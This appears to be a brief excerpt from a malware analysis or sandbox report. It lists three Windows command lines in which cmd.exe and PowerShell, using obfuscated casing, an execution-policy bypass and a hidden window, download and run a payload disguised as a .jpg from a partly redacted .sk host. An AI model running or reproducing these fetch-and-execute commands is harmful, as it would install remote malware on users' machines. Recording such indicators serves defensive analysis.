Technical Information
- '<SYSTEM32>\cmd.exe' /C PowErShelL.eXe -eX bYPaSS -NOp -w 1 iEX( Curl 'http://ta##ek.sk/uwa.jpg')
- '<SYSTEM32>\cmd.exe' /C PowErShelL.eXe -eX bYPaSS -NOp -w 1 iEX( Curl 'http://ta##ek.sk/uwa.jpg')' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -eX bYPaSS -NOp -w 1 iEX( Curl 'http://ta##ek.sk/uwa.jpg')